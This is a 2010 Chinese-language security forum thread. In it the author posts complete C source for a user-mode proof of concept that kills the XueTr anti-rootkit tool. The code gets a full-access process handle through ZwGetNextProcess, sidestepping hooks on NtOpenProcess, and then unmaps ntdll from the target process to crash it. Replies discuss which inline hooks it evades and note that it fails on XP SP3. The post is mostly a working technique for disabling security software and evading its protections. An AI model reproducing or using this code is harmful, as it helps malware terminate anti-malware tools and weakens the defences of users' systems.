Tesla.Angela 发表于 2010-12-12 08:58:19

利用FxOpenProcess做了个Ring3杀XueTr的POC

标题只是个噱头,主要是把FxOpenProcess转成了C代码,并作了适当精简。
本代码稍加修改可以编译成64位程序,不过觉得这么做没有意义而已。
在MiniFxOpenProcess中的bInheritHandle参数没有意义,加上只是为了和OpenProcess函数的形参兼容。
本POC仅支持Vista/Win7。


//Kill XueTr in Ring 3
//Author: Tesla.Angela
//Updata: 2010-12-12

#include <stdio.h>
#include <windows.h>

typedef long (__stdcall *ZWGETNEXTPROCESS)(HANDLE,long,long,long,PHANDLE);
typedef long (__stdcall *ZWUNMAPVIEWOFSECTION)(HANDLE,PVOID);
typedef ULONG (__stdcall *GETPROCESSID)(HANDLE Process);

HANDLE MiniFxOpenProcess(ULONG dwDesiredAccess, ULONG bInheritHandle, ULONG dwProcessId)
{
    ZWGETNEXTPROCESS ZwGetNextProcess=(ZWGETNEXTPROCESS)GetProcAddress(GetModuleHandleW(L"ntdll.dll"),"ZwGetNextProcess");
    GETPROCESSID GetProcessId=(GETPROCESSID)GetProcAddress(GetModuleHandleW(L"kernel32.dll"),"GetProcessId");
    HANDLE hCurrent=0, hNext=0;ULONG dwPid=0;long Status=0;
    if((PVOID)ZwGetNextProcess == NULL || (PVOID)GetProcessId == NULL) return (HANDLE)0;
    Status = ZwGetNextProcess(0, dwDesiredAccess, 0, 0, &hNext);
    if (Status >= 0)
    {
      do{
            hCurrent = hNext;
            dwPid = GetProcessId(hCurrent);
            if (dwPid==dwProcessId) return hCurrent;
            Status = ZwGetNextProcess(hCurrent, dwDesiredAccess, 0, 0, &hNext);
            CloseHandle(hCurrent);
      }while(hCurrent != 0);
    }
    return (HANDLE)0;
}

int main()
{
    ULONG pid=0;HANDLE hProc=0;
    printf("Input PID: ");scanf("%ld",&pid);
    hProc=MiniFxOpenProcess(PROCESS_ALL_ACCESS,0,pid);printf("ProcessHandle: %ld\n",hProc);
    HMODULE hNtdll=GetModuleHandleW(L"ntdll.dll");
    ZWUNMAPVIEWOFSECTION ZwUnmapViewOfSection=(ZWUNMAPVIEWOFSECTION)GetProcAddress(hNtdll,"ZwUnmapViewOfSection");
    if(hProc!=0)
      ZwUnmapViewOfSection(hProc,(PVOID)hNtdll);
    return 0;
}






Tesla.Angela 发表于 2010-12-12 09:02:04

另外,无意中发现了一个极好的在线代码高亮站点:
http://fayaa.com/code/
本代码就是在这个网站上进行高亮的。

scm 发表于 2010-12-12 15:35:18

没测试,理论上可以绕过简单的inline hook。

Tesla.Angela 发表于 2010-12-12 19:05:50

scm 发表于 2010-12-12 15:35 static/image/common/back.gif
没测试,理论上可以绕过简单的inline hook。

请问什么算是“简单的inline hook”?

rshell 发表于 2010-12-14 07:59:21

在xp sp3 下ZwGetNextProcess未导出 不能成功

scm 发表于 2010-12-17 08:38:32

Tesla.Angela 发表于 2010-12-12 19:05 static/image/common/back.gif
请问什么算是“简单的inline hook”?

就是只 inline ntopenproces 和 NtDuplicateObject 的进程。

dca100 发表于 2011-12-4 22:14:23

先看再说:)
页: [1]
查看完整版本: 利用FxOpenProcess做了个Ring3杀XueTr的POC